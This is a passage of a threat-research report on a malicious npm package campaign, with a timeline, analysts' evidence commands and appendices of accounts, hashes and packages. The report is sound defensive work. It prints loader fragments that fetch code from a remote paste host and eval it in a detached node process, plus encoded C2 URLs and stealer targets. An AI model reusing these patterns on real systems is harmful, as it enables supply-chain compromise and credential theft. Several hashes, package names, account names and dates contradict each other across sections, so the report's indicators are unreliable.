2026-03-25T18:23:29Z	Published	chai-as-hooked@1.0.0	hello@jsonspack[.]com	isilleg
2026-03-26T~18:00Z	Deleted	chai-as-hooked@1.0.0	—	isilleg
2026-03-26T07:50:47Z	Published	chai-as-evm@1.1.2	corvettdan1963	FAWI
2026-03-26T07:58:43Z	Published	chai-as-adapter@1.5.2	corvettdan1963	FAWI
2026-03-26T08:09:11Z	Published	chai-use-chain@1.2.6	mwai2005	FAWI
2026-03-26T09:15:33Z	Published	coremeshnode@2.4.5	hello@jsonspack[.]com	BADG
2026-03-26T09:15:51Z	Published	coremesh@2.4.5	hello@jsonspack[.]com	BADG
2026-03-26T09:16:16Z	Published	chai-chain-coremesh@2.4.5	hello@jsonspack[.]com	BADG
2026-03-26T11:30:35Z	Deleted	coremesh , coremeshnode , chai-chain-coremesh	—	—
2026-03-26T12:29:18Z	Published	relion-chain@2.4.7	hello@jsonspack[.]com	BADG

2026-03-26T12:30:05Z	Published	relion-node@2.4.7	hello@jsonspack[.]com	BAD
2026-03-26T15:35:53Z	Deleted	relion-chain , relion-node	—	—
2026-03-26T19:03:41Z	Published	chain-syncora@2.4.5	hello@jsonspack[.]com	BAD
2026-03-26T19:04:02Z	Published	node-syncora@2.4.5	hello@jsonspack[.]com	BAD
2026-03-26T23:20:29Z	Published	chai-as-redeployed@3.5.7	hello@jsonspack[.]com	isilleg
2026-03-27T~18:00Z	Deleted	chai-as-redeployed@3.5.7	—	isilleg
2026-03-27T13:16:23Z	Deleted	chain-syncora , node-syncora	—	—
2026-03-27T14:31:12Z	Published	metrify-node@2.4.5	hello@jsonspack[.]com	BAD
2026-03-27T14:31:51Z	Published	metrify-chain@2.4.5	hello@jsonspack[.]com	BAD
2026-03-30T13:28:17Z	Deleted	metrify-node , metrify-chain	—	—
2026-03-30T15:22:23Z	Published	node-metrica@2.4.5	hello@jsonspack[.]com	BAD
2026-03-30T15:22:42Z	Published	chain-metrica@2.4.5	hello@jsonspack[.]com	BAD
2026-03-30T15:34:06Z	Deleted	node-metrica , chain-metrica	—	—
2026-03-30T18:15:35Z	Published	trackora-chain@2.4.5	wovon16983	BAD
2026-03-30T18:15:59Z	Published	trackora-node@2.4.5	wovon16983	BAD
2026-03-31T09:14:43Z	Deleted	gemini-ai-checker	—	—

2026-03-31T09:27:20Z	Published	chai-extensions-extra@1.2.2	hello@jsonspack[.]com	Verce
2026-03-31T09:33:44Z	Deleted	chai-extensions-extra	—	—
2026-03-31T10:30:38Z	Published	chai-extensions-extras@1.2.5	gemini-check	Verce
2026-03-31T10:38:12Z	Published	express-flowlimit@2.2.8	gemini-check	Verce
2026-03-30T23:12Z	Panther alert fired	chai-as-hooked , chai-as-redeployed	—	isilleg
2026-04-01	Email pivot → 27 packages identified	npm-index	—	—
2026-04-01	Stage-3 payload decoded	fdb582f16475cb79bebd0dfc48d610430cae2e39e9a3e2abd373b3413691838	—	—

Deletion pattern: Fifteen packages show an `unpublished` tombstone in the npm registry. No npm security advisories exist for any of them.E24 Fourteen were removed within npm's 72-hour self-unpublish window, meaning the package publisher could have removed them unilaterally without contacting npm — these are most likely threat actor self-removals.E25 The fifteenth, `gemini-ai-checker`, lived for 301.6 hours before removal, well outside the self-unpublish window; its removal required either npm support intervention or a npm security action, though the tombstone format (`time.unpublished` with no `reason` field) is consistent with a support-processed unpublish request rather than an automated security takedown.

Of the fourteen likely self-removed packages, eleven share loader hash

`5f2d8aec684e79cb983af79d29fddf7e7ecf1e36474baf1422e77c9b79caee23` — confirmed by running `shasum -a 256` against all downloaded tarballs — placing them in the BADC6 cluster.E33 They were removed in five batches, with publish and unpublish times taken directly from the npm registry `time` object:E6

Family	Packages	Published	Unpublished	Dwell
coremesh	coremesh , coremeshnode , chai-chain-coremesh	2026-03-26T09:14–09:16Z	2026-03-26T11:30Z	~2h
relion	relion-chain , relion-node	2026-03-26T12:29–12:30Z	2026-03-26T15:35Z	~3h
syncora	chain-syncora , node-syncora	2026-03-26T19:03–19:04Z	2026-03-27T13:16Z	~18h
metrify	metrify-node , metrify-chain	2026-03-27T14:31Z	2026-03-30T13:28Z	~71h

metrica	node-metrica , chain-metrica	2026-03-30T15:22Z	2026-03-30T15:34Z	<1h
---------	------------------------------	-------------------	-------------------	-----

The reason for these removals is unknown — plausible explanations include detection avoidance, infrastructure testing, or operational cleanup. The two surviving BADC6 packages, `trackora-node` and `trackora-chain`, share the same loader hash (`5f2d8aec684e79cb983af79d29fddf7e7ecf1e36474baf1422e77c9b79caee23`), the same dependencies (`axios`, `parse-json`, `request`, `sqlite3`), and an identical `docs/api.md` (SHA256: `1c777a65a337b48318f3cfff9cee9ffdecc2f7867f7365f53c7e0af492add2a4`) as the deleted packages.E33 Both tarballs return HTTP 200 from the npm registry as of 2026-04-01.E5

References

[E1] `Read("artifacts/jsonspack/loaders/badc6-variant/index.txt")` and equivalent for all 27 packages. No `postinstall` in any `package.json`. `spawn({ detached: true, stdio: 'ignore' }) + child.unref()` confirmed in all spawn-based loaders. `chai-as-encrypted` uses an inline self-executing function in `lib/initializeCaller.js` instead.

[E2] `Read("artifacts/jsonspack/loaders/badc6-variant/caller.txt")` — representative BADC6-cluster loader. Pattern confirmed across all 27 packages. Eval via `new Function.constructor('require', payload)(require)`.

[E3] Stage-3 payload deobfuscated from the raw JSON `{"cookie":"<JS>"}` HTTP response. Output: 117 KB of readable JavaScript. Full decode at `artifacts/jsonspack/decompiled/payload-synchrony-decoded.txt`.

[E4] Panther Threat Research team analysis, 2026-04-01. Constants extracted from deobfuscated payload (`artifacts/jsonspack/decompiled/payload-synchrony-decoded.txt`): `const u_k = 301` at line 358; `const t = 3` at line 359. `SuperStr0ngSecret@0^` appears as `const validationSecret = "SuperStr0ngSecret@0^"` within the inner `socketScript` string assembled at line 860 (not at lines 356–365 — that range covers only the `u_k` and `t` declarations). The HMAC secret is confirmed present at multiple points in the assembled script as `validationSecret`.

[E5] Registry liveness verified via tarball URL HTTP status: `curl -o /dev/null -w "%{http_code}" <tarball_url>`. Live packages return 200. Deleted packages return unpublish tombstone from metadata endpoint with `time.unpublished` field set; tarballs return 404. All 15 deleted packages recovered from npmmirror.com via `npm_download_package()`.

[E6] `curl -fsSL "https://registry.npmjs.org/<package>"` → `time` object for all publish and unpublish timestamps. Unpublish time from `time.unpublished.time` field.

[E7] `npm_index_search(email=<email>)` for all 8 accounts — each returned only the packages listed in the table. No prior publish history.

[E8] `node -e "JSON.parse(fs.readFileSync('package.json')).scripts"` across all 27 packages — `postinstall` key absent in all. `smoke:pino` and `smoke:file` scripts present but not triggered on install.

[E9] `Read("artifacts/jsonspack/loaders/npoin-variant/initializeCaller.txt")` — self-executing async function (IIFE), no spawn. SHA256: `baa5f96044388ff17a9c84a01ce50ee399cf0c9b146d5c7491e4a23a9eb095b6`.

[E10] `shasum -a 256` across all downloaded `lib/caller.js` files — five distinct hashes confirmed across the five tabled clusters (FAWPU, XRGF3, BADC6, npoint, Vercel). The Vercel-cluster packages also ship `lib/const.js` containing the `4NAKK` URL, but this file is dead code — never imported by `caller.js`. `isillegion-cluster` packages (`chai-as-hooked`, `chai-as-redeployed`) were recovered from the npmmirror mirror; their loader architecture is confirmed (detached spawn via `lib/caller.js` E20) but their `lib/caller.js` hash was not separately recorded — they use a distinct C2 domain and are grouped as the sixth channel on that basis.

[E11] `virustotal_batch_lookup(iocs=[{type:"url", value:"http://server-check-genimi.vercel[.]app/defy/v3"}])` → 0/94 detections.

[E13] `SuperStr0ngSecret@0^` in deobfuscated payload (`artifacts/jsonspack/decompiled/payload-synchrony-decoded.txt`) as `validationSecret` within the inner `socketScript` string (line 860 context). The string `SuperStr0ngSecret@0^` appears at multiple points in the assembled script: once for the `/api/notify` HMAC (username+"|"+timestamp), once for `/api/log` HMAC (message[:100]), and once for file upload HMAC (filename). Confirmed by `grep -n "SuperStr0ngSecret"` on the artifact.

[E14] `is_wsl()` function in deobfuscated payload: checks `process.env.WSL_DISTRO_NAME` and `fs.readFileSync('/proc/version')` for "microsoft"/"wsl" strings. Windows username resolved via `cmd.exe /c echo %USERNAME%` or `/mnt/c/Users/` directory enumeration.

[E15] `virustotal_batch_lookup(iocs=[{type:"ip", value:"144.172.110[.]132"}, {type:"hash", value:"fdb582f16475cb79bebd0dfc48d610430cae2e39e9a3e2abd37b3413691838"}],`

{type:"url",value:"https://api.npoint[.]io/2cc8f9fa09a141aafc03"},...]) — 15-IOC batch call, all results from session cache on second reference.

[E16] `virustotal_collection(mode="iocs", id="threat-actor--5291630a-0a82-530c-8c26-2c6f3e0ed651", ioc_type="domains")` → `api.npoint[.]io` at 6/94. UNC5342 top URLs include multiple `api.npoint[.]io/*` endpoints (e.g. `http://api.npoint[.]io/001bf7a1f01639123dc1`, `http://api.npoint[.]io/0a01c9a76266efbbaf1`) confirming platform-level abuse by Contagious Interview. The specific jsonspack endpoint `api.npoint[.]io/2cc8f9fa09a141aafc03` does not appear in the UNC5342 IOC list.

[E35] `virustotal_batch_lookup(iocs=[{type:"domain", value:"tetrismic.vercel[.]app"}])` → 14/94 VT detections, tagged as Contagious Interview C2. Also referenced in VT intel report `report--fde950see61d16371c43e76cbcf83bb414e24d0ae5aefca32c36f5c5786a397` ("Contagious Interview campaign expands with 197 npm packages spreading new OtterCookie malware") which lists `tetrismic.vercel[.]app` and `npoint[.]io` as campaign IOCs. jsonspack uses `server-check-genimi.vercel[.]app` — a different subdomain with 0/94 VT detections.

[E17] Panther Threat Research team attribution analysis, 2026-04-01. Technical fingerprints compared against: DeceptiveDevelopment/FFerret/DrHost, BlueNoroff/SUGARLOADER, Citrine Sleet/PondRat, and known MaaS stealers. All eliminated on the discriminators listed in the Attribution table above.

[E18] Panther Threat Research team reviewed the following public threat intelligence sources on 2026-04-01: Jamf Threat Labs, Objective-See, SentinelOne, ESET WeLiveSecurity, Kaspersky SecureList, Elastic Security Labs, Trend Micro, Mandiant/Google GTIG, CrowdStrike, pberba.github.io, wojciechregula.blog, theevilbit.github.io, MITRE ATT&CK. Findings 1–4 (HTTP 404 payload gate, JSON cookie masquerade, WSL-to-Windows credential bridge, three-script PID lock orchestration) not found in reviewed sources. The `Function.constructor` eval pattern is known in Node.js security research but not documented in npm malware threat reports. HMAC-authenticated C2 communication is documented in APT implant frameworks but not in npm supply chain malware. The 40-entry crypto wallet extension ID list is documented in Contagious Interview/BeaverTail reports by ESET and MITRE.

[E19] `panther_get_alert("25b9435bd5fd17500199c47ecaf38a8e")` and `panther_get_alert("30a007ce18f8aacd54cb26b2f79de5e0")` — NPM.Malicious.Verdict.LLM rule, 2026-03-30. Confirmed in `osm-submissions/submitted/2026-03-30_chai-as-hooked.json` and `2026-03-30_chai-as-redeployed.json`.

[E20] `curl -fsSL "https://registry.npmjs.org/chai-as-hooked"` → `time.unpublished.time: "2026-03-26T..."`. Tarball recovered via `npm_download_package()` from `npmmirror.com` mirror fallback.

[E21] `npm_index_search(email="hello@jsonspack[.]com")` → 32 results. `osm_batch_check([package_name:"chai-extensions-extra"),{package_name:"chain-metrica"),{package_name:"node-metrica"),{package_name:"metrify-chain"),{package_name:"metrify-node"),{package_name:"chain-syncora"),{package_name:"node-syncora"),{package_name:"reliion-node"),{package_name:"reliion-chain"),{package_name:"chai-chain-coremesh"),{package_name:"coremesh"),{package_name:"coremeshnode"),{package_name:"gemini-ai-checker"}])` → 13 clear. Public npm registry does not support email-based package queries — this pivot was only possible via the Panther npm-index.

[P1] GitHub Code Search API: `GET /search/code?q="SuperStr0ngSecret"&type=code` — rate limited (unauthenticated). `grep.app: https://grep.app/search?q="SuperStr0ngSecret"` — Vercel security checkpoint blocked unauthenticated fetch. String not found in any accessible public repository.

[P2] `npm_package_info("jsonpack", "1.1.5")` → published 2016-04-20, maintainers `sapienlab <npm@sapienlab.com>`, last modified 2022-06-19. Repository: `git+https://github.com/sapienlab/jsonpack.git`. Unrelated to this campaign.

[E34] `Read("artifacts/jsonspack/loaders/badc6-variant/caller.txt")` → line 4: `const process = { env: { DEV_API_KEY: "aHR0c...", ... } }`. The local `const process` declaration at file scope shadows the global Node.js `process` object for all code below it in the file. `atob(process.env.DEV_API_KEY)` therefore resolves the hardcoded base64 string, not any real environment variable. Pattern confirmed across all downloaded BADC6-cluster packages via `grep -n "const process"` → identical structure in each.

[E30] `npm_package_info("chai")` → description: "BDD/TDD assertion library for node.js and the browser. Test framework agnostic.", latest v6.2.2. `npm_package_info("chai-as-promised")` → description: "Extends Chai with assertions about promises." — confirming `chai-as-*` is an established naming convention for chai.js assertion plugins.

[E31] `Read("artifacts/jsonspack/loaders/vercel-variant/package.json")` → opening line: "Lightweight and flexible rate limiting middleware for Express.js applications. Protect your APIs from abuse, brute-force attacks, and DDoS attempts with minimal overhead." `grep "module.exports" artifacts/jsonspack/loaders/vercel-variant/caller.txt` → `module.exports.flowlimit = middleware`. No `docs/` directory present.

[E32] `shasum -a 256 ../metrify-chain-.../docs/api.md ../chai-chain-coremesh-.../docs/api.md ../reliion-node-.../docs/api.md` → all three return `1c777a65a337b48318f3cfff9cee9ffdecc2f7867f7365f53c7e0af492add2a4` — verbatim copy of pino's documentation confirmed identical across package families. `docs/api.md` from `chai-as-`

adapter@1.5.2 archived at artifacts/jsonspack/decompiled/pino_docs_api.md — shasum -a 256 confirms 1c777a65a337b48318f3cfff9cee9ffdecc2f786f7365f53c7e0af492add2a4 , verifiable from artifact directory.

[E37] Read("artifacts/jsonspack/loaders/badc6-variant/const.txt") → DEV_API_KEY: "aHR0cHM6Ly9qc29ua2VlcGVyLmNvbS9iL0JBREM2" . node -e "console.log(Buffer.from('aHR0cHM6Ly9qc29ua2VlcGVyLmNvbS9iL0JBREM2', 'base64').toString())" → https://jsonkeeper.com/b/BADC6 . BADC6 variant confirmed: caller.js has const process = {env: {DEV_API_KEY: "..."}} shadow, reads C2 via atob(process.env.DEV_API_KEY) . shasum -a 256 lib/caller.js → 5f2d8aec684e79cb983af79d29fddf7e7ecf1e36474baf1422e77c9b79caee23 confirmed across all 13 BADC6 packages.

[E38] Read("artifacts/jsonspack/loaders/fawpu-variant/caller.txt") → line 6: const src = atob("aHR0cHM6Ly9qc29ua2VlcGVyLmNvbS9iL0ZBV1BV") . node -e "console.log(Buffer.from('aHR0cHM6Ly9qc29ua2VlcGVyLmNvbS9iL0ZBV1BV', 'base64').toString())" → https://jsonkeeper.com/b/FAWPU . FAWPU variant confirmed: self-contained inline atob() , no const process shadow, no const.js dependency for C2 URL. lib/const.js present in package with DEV_API_KEY pointing to 4NAKK but not read by this variant. shasum -a 256 lib/caller.js → 70f8deb4d35ab7db47845f6b6666ae6c0a22814eca580a10e7a0ba09f9ece5f8 confirmed across all 5 FAWPU packages (chai-as-adapter, chai-as-chain-v2, chai-as-evm, chai-use-chain, lockedin-chai-chain).

[E39] Read("artifacts/jsonspack/loaders/xrgf3-variant/caller.txt") → line 13: const src = "https://jsonkeeper.com/b/XRGF3" (plaintext string literal). Same file also contains const process = {env: {DEV_API_KEY: "aHR0cHM6Ly9qc29ua2VlcGVyLmNvbS9iL1hSR0Yz"}} where base64 decodes to same XRGF3 URL. Execution path uses plaintext src , not atob(process.env.DEV_API_KEY) . shasum -a 256 lib/caller.js → d81e48769a830cd3384a4b8977ade12e5ab7583eb7cca84e7ab966d15871bd71 confirmed on both XRGF3 packages (chai-beta, chai-str).

[E40] Read("artifacts/jsonspack/loaders/vercel-variant/config.txt") → DEV_API_CHECK_DOMAIN: "http://server-check-genimi.vercel.app" , aspath: "/defy/" , token: "v3" . Read("artifacts/jsonspack/loaders/chai-extensions-extras/config.txt") → identical Vercel domain. Read("artifacts/jsonspack/loaders/gemini-ai-checker/config.txt") → identical Vercel domain. All four packages (express-flowlimit , chai-extensions-extras , gemini-ai-checker , chai-extensions-extra) confirmed Vercel cluster: caller.js reads require('./config') and config.js points to server-check-genimi.vercel[.].app . Both gemini-ai-checker and chai-extensions-extra contain a lib/const.js with DEV_API_KEY decoding to https://jsonkeeper.com/b/4NAKK — this file is **never imported** by caller.js and is dead code.

[E29] Deobfuscation run against artifacts/jsonspack/payloads/fawpu/payload_FAWPU_extracted.txt , artifacts/jsonspack/payloads/xrgf3/payload_XRGF3_extracted.txt , artifacts/jsonspack/payloads/badc6/payload_BADC6_extracted.txt . All three: obfuscation confirmed as obfuscator.io short-name RC4 variant via static fingerprinting (while(![]) , base64 alphabet, single-char function names, no _0x prefix). Deobfuscation output: FAWPU → artifacts/jsonspack/payloads/fawpu/payload_FAWPU_deobfuscated.txt (3.2 KB); XRGF3 → artifacts/jsonspack/payloads/xrgf3/payload_XRGF3_deobfuscated.txt (45 KB); BADC6 → artifacts/jsonspack/payloads/badc6/payload_BADC6_deobfuscated.txt (43 KB). All exits 0. Failure mode: Push/shift calculation failed (iter=N>maxLoops=N-1) — the rotation function target value exceeded the internal deobfuscator loop ceiling (64 for FAWPU; 2,584/2,590 for XRGF3/BADC6). FAWPU partial output reveals: spawn('node', ['-e', o], {detached: true, stdio: 'ignore'}) confirming secondary loader structure. XRGF3/BADC6 partial outputs show only process.on as a surviving readable identifier; all string references remain as aM(1220, ...) encoded calls.

[E26] Researcher fetched FAWPU, XRGF3, and BADC6 buckets from a secure machine on 2026-04-01. Raw JSON files saved to artifacts/jsonspack/payloads/fawpu/payload_FAWPU_raw_http_response.txt , artifacts/jsonspack/payloads/xrgf3/payload_XRGF3_raw_http_response.txt , artifacts/jsonspack/payloads/badc6/payload_BADC6_raw_http_response.txt ; cookie fields extracted to .txt files. SHA256 hashes verified. 4NAKK (https://jsonkeeper[.]com/b/4NAKK) returned HTTP 404. Vercel (http://server-check-genimi.vercel[.]app/defy/v3 and /defy/v3/x) returned HTTP 404 on both standard and probe requests — C2 offline or taken down.

[E27] Static analysis of artifacts/jsonspack/payloads/fawpu/payload_FAWPU_extracted.txt (4,228 chars): grep -o 'spawn\|detached\|unref\|child_process' confirms spawner pattern. 10 functions, 32 string array entries (V() function). Final line: s=e('node', ['-e', o], {detached: !false, 'stdio': 'ignore'}); s[...unref...]() . Variable o constructs require('axios').get(<decoded URL>).then(res => eval(res.data.<decoded field>)) . URL and field name are RC4+base64 encoded in string array V(); not recoverable by static analysis without execution. grep -c 'SuperStr0ng\|144\|172\|110\|socket' — all 0.

[E28] Static analysis of artifacts/jsonspack/payloads/xrgf3/payload_XRGF3_extracted.txt and artifacts/jsonspack/payloads/badc6/payload_BADC6_extracted.txt : function counts 124/122; string array entries 1292/1295; grep -o '\.{20}0x301.\{20\}' shows 0x301 used as a hex offset argument to string decoder function cd() / ba() , not as an operator key. grep -c 'SuperStr0ng\|144\|172\|110\|socketScript\|ldbScript\|searchAndUpload' — all 0 in both files.

[E24] `curl -fsSl "https://registry.npmjs.org/-/npm/v1/security/advisories?package=<name>"` for `geminai-ai-checker`, `coremesh`, and `metrify-chain` — all returned no advisory data. npm's automated security systems had not flagged any of these packages as malicious at the time of removal.

[E25] npm's unpublish policy: packages may be self-unpublished by the publisher within 72 hours of the most recent publish without contacting support. After 72 hours, removal requires contacting npm support or npm security action. Dwell times calculated from `time.created` and `time.unpublished.time` fields in registry tombstone. All 14 short-lived packages had dwell times < 72h (range: 0.1h to 71h). `geminai-ai-checker` had dwell time of 301.6h, requiring external intervention. Tombstone format for all 15: `time.unpublished` present, no `reason` or `deprecated` field, no `npm-notice` field — consistent with unpublish rather than npm security takedown.

[E23] `Read("artifacts/jsonspack/loaders/badc6-variant/package.json")` → keywords `["fast", "logger", "stream", "json"]`, script `"smoke:pino": "node ./index.js"`. `Read("artifacts/jsonspack/loaders/vercel-variant/package.json")` (README content) → badge URLs reference `https://www.npmjs.com/package/pino` and `https://github.com/pinojs/pino/actions`. `ls artifacts/jsonspack/decompiled/` → `api.md` `benchmarks.md` `browser.md` `bundling.md` `child-loggers.md` `ecosystem.md` `help.md` `lts.md` `pretty.md` — verbatim copy of pino docs. `grep "module.exports" ../index.js` → `module.exports.pino = middleware`. Pattern confirmed identical across all pino-masquerading packages.

[E22] `npm_download_package("express-flowlimit", "2.2.8")` → tarball extracted. `Read("artifacts/jsonspack/loaders/vercel-variant/caller.txt")` → plain unobfuscated JavaScript, 38 lines. The `catch(error)` block checks `error.response?.status === 404` `error.response.data?.token` explicitly (the code uses `try/catch` inside a `while(retrycnt > 0)` loop, not `.then().catch()` promise chaining). The `.then()` handler logs `'Token fetched:', response.data.token` — the decoy on 200. No deobfuscation, no execution, no C2 contact required to determine this behaviour.

[R1] MITRE ATT&CK T1480 — Execution Guardrails: <https://attack.mitre.org/techniques/T1480/>. No sub-technique documents HTTP error code as delivery signal.

[R2] MITRE ATT&CK T1001 — Data Obfuscation: <https://attack.mitre.org/techniques/T1001/>. No prior npm malware report documents `{"cookie": "<JS>"}` JSON delivery pattern.

[A1] Browser list from `getChromiumBasePaths()` and `extractAndUploadPasswords()` in deobfuscated `npoint[.]io` payload. The 13 browsers targeted are: Google Chrome, Brave, AVG Browser, Microsoft Edge, Opera, Opera GX, Vivaldi, Kiwi Browser, Yandex Browser, Iridium, Comodo Dragon, SRWare Iron, Chromium. Source: `browserNames` array in deobfuscated payload `ldbScript` section.

[A2] Full 40-entry wallet extension ID list from `wps` constant in deobfuscated `npoint[.]io` payload `ldbScript`. See [Appendix E](#) for the complete table.

[E33] `shasum -a 256` run against `lib/caller.js` in all downloaded tarballs (archived in `artifacts/jsonspack/loaders/`). Results: 11 deleted BADC6-cluster packages (`coremesh`, `coremeshnode`, `chai-chain-coremesh`, `reliion-chain`, `reliion-node`, `chain-syncora`, `node-syncora`, `metrify-node`, `metrify-chain`, `node-metrica`, `chain-metrica`) all return `5fd28aec684e79cb983af79d29fddf7e7ecf1e36474baf1422e77c9b79caee23`. Surviving BADC6 packages `trackora-node` and `trackora-chain`: same hash confirmed via `npm_download_package("trackora-node", "2.4.5")` and `shasum`. `docs/api.md` SHA256 `1c777a65a337b48318f3cfff9cee9ffdecc2f7867f7365f53c7e0af492add2a4` identical across all three families. Deps `axios`, `parse-json`, `request`, `sqlite3` confirmed via `node -e "JSON.parse(fs.readFileSync('package.json')).dependencies"`.

[E36] `isillegion[.]com` (`www.isillegion[.]com`) was the C2 endpoint hardcoded in `chai-as-hooked` and `chai-as-redeployed` — the two packages that triggered initial Panther detection. It is distinct from the `144.172.110[.]132` infrastructure analysed in this report and was not further investigated. Its relationship to the jsonspack campaign (precursor deployment, different tenant, or unrelated use of the same loader template) is unknown.

Footnote prefixes: **E** = evidence (tool commands, file reads, hash verifications, VT lookups); **P** = prior art (external context not from this analysis); **R** = references (MITRE ATT&CK technique citations); **A** = appendix data (browser and wallet extension lists).

Appendix

Appendix A — Publisher Accounts

All eight npm accounts were created solely for this campaign. None have any prior publish history. E7

Account	Email	Packages

hello@jsonspack[.]com (shared author email in metadata)	—	gemi-ai-checker , chai-as-hooked , coremesh , coremeshnode , chai-chain-coremesh , relion-chain , relion-node , chain-syncora , node-syncora , metrify-node , metrify-chain , node-metrica , chain-metrica , chai-extensions-extra
amnotgonnalie	jghff@smartretireway.com	lockedin-chai-chain
gemi-check	thyfaultkathy4263@hotmail.com	express-flowlimit , chai-extensions-extras
ondoeth	mexowoj971@izkat.com	chai-str
boriseth	borire8128@jsncos.com	chai-beta
johnsonjamesedc5033	johnsonjamesedc503@hotmail.com	chai-as-encrypted
corvettdan1963	corvettdan1963@inlook.cloud	chai-as-chain-v2 , chai-as-evm , chai-as-adapter
mwai2005	mwai2005@officecombine.com	chai-use-chain
wovon16983	wovon16983@marvetos.com	trackora-chain , trackora-node

Note: `hello@jsonspack[.]com` appears as the author contact email in `package.json` metadata across all these packages but does not correspond to an npm account used to publish them — publication was done via the eight separate accounts listed above. Whether this email represents a single operator, a shared brand identity, or a common template is unknown. `jsncos.com` , `izkat.com` , `marvetos.com` , and `officecombine.com` are disposable email provider domains.

Appendix B — Full Hash Table

SHA256	File	VT	Role
fdb582f16475cb79bebd0dffc48d610430cae2e39e9a3e2abd373b3413691838	payload-extracted.txt	0/94 — first discovery	npoint[.]io payload — extracted JS; fully analysed RAT+infostealer
00a32991fb03bef7ed76498e43be6b43b486bf0ae361e4553145ed9b13099278	payload.js	0/94 — first discovery	npoint[.]io payload — raw JSON HTTP response body ({ "cookie": "<JS>" })
120ea01d0994b048a3af21849e7ad4cd005993466b2cedd46854f1082885a362	payload_FAWPU_extracted.txt	0/94 — first	FAWPU payload —

		discovery	secondary loader (4,228 chars); fetches further stage
42ff9965ef1b9deb7c4dd419260aad4d31f1360e9ce71521e4f620c550b2a040	payload_FAWPU.json	0/94 — first discovery	FAWPU payload — raw JSON HTTP response
ce56c8708468e1570c75f39f8c09116bbadff3d462daec8cced51c0b6bead024	payload_XRGF3_extracted.txt	0/94 — first discovery	XRGF3 payload — extracted JS (~90KB); partially analysed
5b9319a3c154855682d903b9934ad04e49e43d33cdf8255d96fa0fb99ec1007e	payload_XRGF3.json	0/94 — first discovery	XRGF3 payload — raw JSON HTTP response
56b93d0040a88934bf5cc78323f5166afb91633293812f6adb203baa57b405e4	payload_BADC6_extracted.txt	0/94 — first discovery	BADC6 payload — extracted JS (~90KB); likely same as XRGF3, different obfuscation run
ae4b4cec52a9186028722940c19de80fd18dc2109d8a9f42a393058f9fa198a	payload_BADC6.json	0/94 — first discovery	BADC6 payload — raw JSON HTTP response
70f8deb4d35ab7db47845f6b6666ae6c0a22814eca580a10e7a0ba09f9ece5f8	lib/caller.js	0/94 — first discovery	FAWPU-cluster loader (5 packages)
d81e48769a830cd3384a4b8977ade12e5ab7583eb7cca84e7ab966d15871bd71	lib/caller.js	0/94 — first discovery	XRGF3-cluster loader (chai-beta, chai-str)
5f2d8aec684e79cb983af79d29fddf7e7ecf1e36474baf1422e77c9b79caee23	lib/caller.js	0/94 — first discovery	BADC6-cluster loader (13 packages)
0939feeda737b0951f6e37d690d65ecfdc5482ae1e1486734aaf59fb2497fcef	lib/caller.js	0/94 — first discovery	Vercel-cluster loader (express-flowlimit, chai-extensions-extras, gemini-ai-checker, chai-extensions-extra)

baa5f96044388ff17a9c84a01ce50ee399cf0c9b146d5c7491e4a23a9eb095b6	lib/initializeCaller.js	0/94 — first discovery	npoint-cluster inline loader — chai-as-encrypted (fires as IIFE on require())
151f75f407990eb466eb278f656aa0b2ad94d8a6fcd5955fc3f9fbb938cc3f30	lib/const.js	0/94 — first discovery	npoint C2 config backup (chai-as-encrypted)

Appendix C — Live Packages

Package	Version	Published (UTC)	Publisher	C2 Cluster	Downloads	Masquerades as
lockedin-chai-chain	1.2.6	2026-03-19T23:49:33Z	amnotgonnalie	FAWPU	192	pino logger
express-flowlimit	2.2.8	2026-03-31T10:38:12Z	gemini-check	Vercel	477	express middleware
chai-str	1.1.9	2026-03-25T06:44:16Z	ondoeth	XRGF3	156	chai.js plugin
chai-beta	1.1.9	2026-03-25T07:38:49Z	boriseth	XRGF3	165	chai.js plugin
chai-as-encrypted	2.0.6	2026-03-25T08:42:14Z	johnsonjamesedc5033	npoint	160	chai.js plugin
chai-as-chain-v2	1.1.1	2026-03-25T10:22:48Z	corvettdan1963	FAWPU	154	pino logger
chai-as-evm	1.1.2	2026-03-26T07:50:47Z	corvettdan1963	FAWPU	148	pino logger
chai-as-adapter	1.5.2	2026-03-26T07:58:43Z	corvettdan1963	FAWPU	142	pino logger
chai-use-chain	1.2.6	2026-03-26T08:09:11Z	mwai2005	FAWPU	154	pino logger
trackora-chain	2.4.5	2026-03-30T18:15:35Z	wovon16983	BADC6	86	pino logger
trackora-node	2.4.5	2026-03-30T18:15:59Z	wovon16983	BADC6	83	pino logger

chai-extensions-extras	1.2.5	2026-03-31T10:30:38Z	gemini-check	Vercel	~0	chai.js plugin
LIVE TOTAL					1,917	

Appendix D — Deleted Packages

Publisher column shows the `author` field from `package.json` in the downloaded tarball.^{E33} The npm registry tombstone retains no `_npmUser` account data after unpublishing, so the npm account that published these packages is unrecoverable from the registry. Two packages (`gemini-ai-checker` , `chai-extensions-extra`) use the first name `Austin` rather than `Robert King` ; both names are unverified and likely fictitious.

Package	Versions	Published (UTC)	Deleted (UTC)	Hours Live	C2 Cluster	Downloads	Author (package.json)
gemini-ai-checker	1.3.3–1.3.6	2026-03-18T19:37:14Z	2026-03-31T09:14:43Z	301.6h	Vercel	843	Austin <hello@jsonspack[.]com>
coremeshnode	2.4.5	2026-03-26T09:15:33Z	2026-03-26T11:30:38Z	2h	BADC6	79	Robert King <hello@jsonspack[.]com>
coremesh	2.4.5	2026-03-26T09:15:51Z	2026-03-26T11:30:37Z	2h	BADC6	82	Robert King <hello@jsonspack[.]com>
chai-chain-coremesh	2.4.5	2026-03-26T09:16:16Z	2026-03-26T11:30:35Z	2h	BADC6	85	Robert King <hello@jsonspack[.]com>
relion-chain	2.4.7	2026-03-26T12:29:18Z	2026-03-26T15:35:53Z	3h	BADC6	76	Robert King <hello@jsonspack[.]com>
relion-node	2.4.7	2026-03-26T12:30:05Z	2026-03-26T15:35:54Z	3h	BADC6	79	Robert King <hello@jsonspack[.]com>
chain-syncora	2.4.5	2026-03-26T19:04:02Z	2026-03-27T13:16:23Z	18h	BADC6	85	Robert King <hello@jsonspack[.]com>
node-syncora	2.4.5	2026-03-26T19:03:41Z	2026-03-27T13:16:25Z	18h	BADC6	81	Robert King <hello@jsonspack[.]com>
metrify-node	2.4.5	2026-03-27T14:31:12Z	2026-03-30T13:28:18Z	71h	BADC6	133	Robert King <hello@jsonspack[.]com>
metrify-chain	2.4.5	2026-03-27T14:31:51Z	2026-03-30T13:28:17Z	71h	BADC6	136	Robert King <hello@jsonspack[.]com>
node-metrica	2.4.5	2026-03-30T15:22:23Z	2026-03-30T15:34:08Z	<1h	BADC6	63	Robert King <hello@jsonspack[.]com>

